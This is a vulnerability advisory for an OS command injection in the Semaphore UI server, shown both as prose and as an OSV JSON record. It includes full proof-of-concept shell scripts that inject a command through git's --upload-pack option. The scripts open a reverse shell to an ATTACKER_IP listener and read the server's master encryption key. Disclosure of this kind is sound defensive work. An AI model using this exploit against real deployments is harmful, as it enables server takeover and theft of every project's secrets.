GHSA-XP7J-H7JC-4W8P
Vulnerability from github – Published: 2026-09-08 17:57 – Updated: 2026-09-08 17:57Summary
An OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack= option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.
Details
The repository git_url is attacker-controlled (HTTP body) and reaches exec.Command("git", ...) unvalidated. Two missing controls cause this:
-
git_url is never validated against option injection. Repository.Validate() (db/Repository.go, ~lines 138–156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only "non-empty"). ValidateRepository (db/Store.go, ~802–806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76–95) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113–136) classifies it as RepositorySSH and GetGitURL(false) (~72–111) returns it raw/unchanged.
-
The git command is built with no -- separator. CmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169–185) calls: c.output(r, GitRepositoryTmpPath, "ls-remote", r.Repository.GetGitURL(false), // attacker-controlled r.Repository.GitBranch) // "master" output (~79–93) → makeCmd (~21–60): exec.Command("git") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --: ["git", "ls-remote", "--upload-pack=;true", "master"] git parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c " 'master'"), running . This is intended git behavior — the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)
Trigger — it fires in the server process.
A project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130–160; validateSchedulePayload ~86–118 validates only the cron format — it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96–193, line ~117) calls tryUpdateScheduleCommitHash (~61–94) — before the HA de-dup lock (~145) — which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265–358, line 287) registers such schedules even when inactive, so deactivating does not stop it.
Entry points:
POST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101–137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22–27).
PoC
Environment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).
Terminal 1 — config + users + server
cd ~/PoC && mkdir -p tmp
cat > config.json <<EOF
{ "sqlite":{"host":"$PWD/database.sqlite"},"dialect":"sqlite","tmp_path":"$PWD/tmp",
"port":":3000","interface":"127.0.0.1",
"cookie_hash":"$(head -c32 /dev/urandom|base64)","cookie_encryption":"$(head -c32 /dev/urandom|base64)",
"access_key_encryption":"$(head -c32 /dev/urandom|base64)","git_client":"cmd_git",
"non_admin_can_create_project":false,"web_host":"http://127.0.0.1:3000/" }
EOF
./semaphore user add --admin --login admin --name Admin --email admin@example.com --password 'Admin123!' --config config.json
./semaphore user add --login lowpriv --name Low --email low@example.com --password 'LowPriv123!' --config config.json
./semaphore server --config config.json
Terminal 2 — attacker listener
nc -lvnp 4444
Terminal 3 — admin onboards lowpriv as Manager, then lowpriv exploits
cd ~/PoC
cat > onboard.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
BASE="${BASE:-http://127.0.0.1:3000}"
ADMIN="${ADMIN:-admin}"; ADMIN_PASS="${ADMIN_PASS:-Admin123!}"; MEMBER="${MEMBER:-lowpriv}"
JAR=$(mktemp)
curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
-d "{\"auth\":\"$ADMIN\",\"password\":\"$ADMIN_PASS\"}" >/dev/null
PROJ_PID=$(curl -s -b "$JAR" -X POST "$BASE/api/projects" -H 'Content-Type: application/json' \
-d '{"name":"team-project","alert":false}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
USER_ID=$(curl -s -b "$JAR" "$BASE/api/users" | \
python3 -c "import sys,json;print(next(u['id'] for u in json.load(sys.stdin) if u['username']=='$MEMBER'))")
curl -s -b "$JAR" -X POST "$BASE/api/project/$PROJ_PID/users" -H 'Content-Type: application/json' \
-d "{\"user_id\":$USER_ID,\"role\":\"manager\"}" -o /dev/null
rm -f "$JAR"; echo "[*] $MEMBER is Manager of project $PROJ_PID" >&2; echo "$PROJ_PID"
EOF
chmod +x onboard.sh
cat > rce.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}"
PROJ_PID="${PROJ_PID:?set PROJ_PID from onboard.sh}"
CMD="$*"; B64=$(printf '%s' "$CMD" | base64 -w0)
GITURL="--upload-pack=bash -c \"echo $B64 | base64 -d | bash\";true"
JAR=$(mktemp); jid(){ python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])'; }
post(){ curl -s -b "$JAR" -X POST "$BASE$1" -H 'Content-Type: application/json' -d "$2"; }
curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
-d "{\"auth\":\"$LOGIN\",\"password\":\"$PASS\"}" >/dev/null
KID=$(post /api/project/$PROJ_PID/keys "{\"name\":\"k\",\"type\":\"none\",\"project_id\":$PROJ_PID}" | jid)
BODY=$(python3 -c "import json,sys;print(json.dumps({'name':'r','project_id':$PROJ_PID,'git_url':sys.argv[1],'git_branch':'master','ssh_key_id':$KID}))" "$GITURL")
RID=$(post /api/project/$PROJ_PID/repositories "$BODY" | jid)
TID=$(post /api/project/$PROJ_PID/templates "{\"name\":\"t\",\"project_id\":$PROJ_PID,\"app\":\"bash\",\"playbook\":\"n.sh\",\"repository_id\":$RID,\"type\":\"\"}" | jid)
post /api/project/$PROJ_PID/schedules "{\"name\":\"s\",\"project_id\":$PROJ_PID,\"template_id\":$TID,\"repository_id\":$RID,\"cron_format\":\"* * * * *\"}" >/dev/null
rm -f "$JAR"; echo "[*] queued as lowpriv (Manager of $PROJ_PID): $CMD"
EOF
chmod +x rce.sh
PROJ_PID=$(./onboard.sh)
ATTACKER_IP=127.0.0.1
PROJ_PID=$PROJ_PID ./rce.sh "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
Within ~60 s the schedule fires and the Semaphore server process connects back to the listener (Terminal 2), giving an interactive shell as the server user. Verify with id and cat ~/PoC/config.json (the server can read its own access_key_encryption master key).
Impact
- Type: OS command injection via argument injection — remote code execution.
- Who is impacted: any Semaphore deployment running the default git_client: cmd_git. The attacker only needs an authenticated account holding the Manager or Owner role on any project — the standard collaborator roles. (If non_admin_can_create_project is enabled, literally any authenticated user qualifies, since they can self-create a project and become its Owner. Global admins always qualify.)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/semaphoreui/semaphore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260704181911-7e8a9434bd81"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73294"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T17:57:44Z",
"nvd_published_at": "2026-08-12T16:17:22Z",
"severity": "CRITICAL"
},
"details": "# Summary\nAn OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git\u0027s --upload-pack=\u003ccmd\u003e option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners \u2014 bypassing runner isolation and exposing the master encryption key and every project\u0027s secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.\n\n# Details\nThe repository git_url is attacker-controlled (HTTP body) and reaches exec.Command(\"git\", ...) unvalidated. Two missing controls cause this:\n\n1. git_url is never validated against option injection.\nRepository.Validate() (db/Repository.go, ~lines 138\u2013156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only \"non-empty\"). ValidateRepository (db/Store.go, ~802\u2013806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76\u201395) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113\u2013136) classifies it as RepositorySSH and GetGitURL(false) (~72\u2013111) returns it raw/unchanged.\n\n2. The git command is built with no -- separator.\nCmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169\u2013185) calls:\nc.output(r, GitRepositoryTmpPath, \"ls-remote\",\n r.Repository.GetGitURL(false), // attacker-controlled\n r.Repository.GitBranch) // \"master\"\noutput (~79\u201393) \u2192 makeCmd (~21\u201360): exec.Command(\"git\") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --:\n[\"git\", \"ls-remote\", \"--upload-pack=\u003ccmd\u003e;true\", \"master\"]\ngit parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c \"\u003ccmd\u003e \u0027master\u0027\"), running \u003ccmd\u003e. This is intended git behavior \u2014 the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)\n\n### Trigger \u2014 it fires in the server process.\nA project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130\u2013160; validateSchedulePayload ~86\u2013118 validates only the cron format \u2014 it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96\u2013193, line ~117) calls tryUpdateScheduleCommitHash (~61\u201394) \u2014 before the HA de-dup lock (~145) \u2014 which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265\u2013358, line 287) registers such schedules even when inactive, so deactivating does not stop it.\n\n### Entry points:\nPOST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101\u2013137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22\u201327).\n\n# PoC\nEnvironment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).\n\n### Terminal 1 \u2014 config + users + server\n```\n cd ~/PoC \u0026\u0026 mkdir -p tmp\n cat \u003e config.json \u003c\u003cEOF\n { \"sqlite\":{\"host\":\"$PWD/database.sqlite\"},\"dialect\":\"sqlite\",\"tmp_path\":\"$PWD/tmp\",\n \"port\":\":3000\",\"interface\":\"127.0.0.1\",\n \"cookie_hash\":\"$(head -c32 /dev/urandom|base64)\",\"cookie_encryption\":\"$(head -c32 /dev/urandom|base64)\",\n \"access_key_encryption\":\"$(head -c32 /dev/urandom|base64)\",\"git_client\":\"cmd_git\",\n \"non_admin_can_create_project\":false,\"web_host\":\"http://127.0.0.1:3000/\" }\n EOF\n ./semaphore user add --admin --login admin --name Admin --email admin@example.com --password \u0027Admin123!\u0027 --config config.json\n ./semaphore user add --login lowpriv --name Low --email low@example.com --password \u0027LowPriv123!\u0027 --config config.json\n ./semaphore server --config config.json\n```\n### Terminal 2 \u2014 attacker listener\n```\n nc -lvnp 4444\n```\n### Terminal 3 \u2014 admin onboards lowpriv as Manager, then lowpriv exploits\n```\n cd ~/PoC\n\n cat \u003e onboard.sh \u003c\u003c\u0027EOF\u0027\n #!/usr/bin/env bash\n set -euo pipefail\n BASE=\"${BASE:-http://127.0.0.1:3000}\"\n ADMIN=\"${ADMIN:-admin}\"; ADMIN_PASS=\"${ADMIN_PASS:-Admin123!}\"; MEMBER=\"${MEMBER:-lowpriv}\"\n JAR=$(mktemp)\n curl -s -c \"$JAR\" -X POST \"$BASE/api/auth/login\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"auth\\\":\\\"$ADMIN\\\",\\\"password\\\":\\\"$ADMIN_PASS\\\"}\" \u003e/dev/null\n PROJ_PID=$(curl -s -b \"$JAR\" -X POST \"$BASE/api/projects\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"team-project\",\"alert\":false}\u0027 | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n USER_ID=$(curl -s -b \"$JAR\" \"$BASE/api/users\" | \\\n python3 -c \"import sys,json;print(next(u[\u0027id\u0027] for u in json.load(sys.stdin) if u[\u0027username\u0027]==\u0027$MEMBER\u0027))\")\n curl -s -b \"$JAR\" -X POST \"$BASE/api/project/$PROJ_PID/users\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"user_id\\\":$USER_ID,\\\"role\\\":\\\"manager\\\"}\" -o /dev/null\n rm -f \"$JAR\"; echo \"[*] $MEMBER is Manager of project $PROJ_PID\" \u003e\u00262; echo \"$PROJ_PID\"\n EOF\n chmod +x onboard.sh\n\n cat \u003e rce.sh \u003c\u003c\u0027EOF\u0027\n #!/usr/bin/env bash\n set -euo pipefail\n BASE=\"${BASE:-http://127.0.0.1:3000}\"; LOGIN=\"${LOGIN:-lowpriv}\"; PASS=\"${PASS:-LowPriv123!}\"\n PROJ_PID=\"${PROJ_PID:?set PROJ_PID from onboard.sh}\"\n CMD=\"$*\"; B64=$(printf \u0027%s\u0027 \"$CMD\" | base64 -w0)\n GITURL=\"--upload-pack=bash -c \\\"echo $B64 | base64 -d | bash\\\";true\"\n JAR=$(mktemp); jid(){ python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027; }\n post(){ curl -s -b \"$JAR\" -X POST \"$BASE$1\" -H \u0027Content-Type: application/json\u0027 -d \"$2\"; }\n curl -s -c \"$JAR\" -X POST \"$BASE/api/auth/login\" -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"auth\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASS\\\"}\" \u003e/dev/null\n KID=$(post /api/project/$PROJ_PID/keys \"{\\\"name\\\":\\\"k\\\",\\\"type\\\":\\\"none\\\",\\\"project_id\\\":$PROJ_PID}\" | jid)\n BODY=$(python3 -c \"import json,sys;print(json.dumps({\u0027name\u0027:\u0027r\u0027,\u0027project_id\u0027:$PROJ_PID,\u0027git_url\u0027:sys.argv[1],\u0027git_branch\u0027:\u0027master\u0027,\u0027ssh_key_id\u0027:$KID}))\" \"$GITURL\")\n RID=$(post /api/project/$PROJ_PID/repositories \"$BODY\" | jid)\n TID=$(post /api/project/$PROJ_PID/templates \"{\\\"name\\\":\\\"t\\\",\\\"project_id\\\":$PROJ_PID,\\\"app\\\":\\\"bash\\\",\\\"playbook\\\":\\\"n.sh\\\",\\\"repository_id\\\":$RID,\\\"type\\\":\\\"\\\"}\" | jid)\n post /api/project/$PROJ_PID/schedules \"{\\\"name\\\":\\\"s\\\",\\\"project_id\\\":$PROJ_PID,\\\"template_id\\\":$TID,\\\"repository_id\\\":$RID,\\\"cron_format\\\":\\\"* * * * *\\\"}\" \u003e/dev/null\n rm -f \"$JAR\"; echo \"[*] queued as lowpriv (Manager of $PROJ_PID): $CMD\"\n EOF\n chmod +x rce.sh\n\n PROJ_PID=$(./onboard.sh)\n ATTACKER_IP=127.0.0.1\n PROJ_PID=$PROJ_PID ./rce.sh \"bash -i \u003e\u0026 /dev/tcp/$ATTACKER_IP/4444 0\u003e\u00261\"\n```\n\nWithin ~60 s the schedule fires and the Semaphore server process connects back to the listener (Terminal 2), giving an interactive shell as the server user. Verify with id and cat ~/PoC/config.json (the server can read its own access_key_encryption master key).\n\n# Impact\n- Type: OS command injection via argument injection \u2014 remote code execution.\n- Who is impacted: any Semaphore deployment running the default git_client: cmd_git. The attacker only needs an authenticated account holding the Manager or Owner role on any project \u2014 the standard collaborator roles. (If non_admin_can_create_project is enabled, literally any authenticated user qualifies, since they can self-create a project and become its Owner. Global admins always qualify.)",
"id": "GHSA-xp7j-h7jc-4w8p",
"modified": "2026-09-08T17:57:44Z",
"published": "2026-09-08T17:57:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73294"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/commit/7e8a9434bd81b82cf42220151c74801ea97542d6"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/commit/a7a7a33a64aea382a0726b3722856f298663eacf"
},
{
"type": "PACKAGE",
"url": "https://github.com/semaphoreui/semaphore"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/tree/v2.18.17"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/tree/v2.19.5-beta2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Semaphore U: OS Command Injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.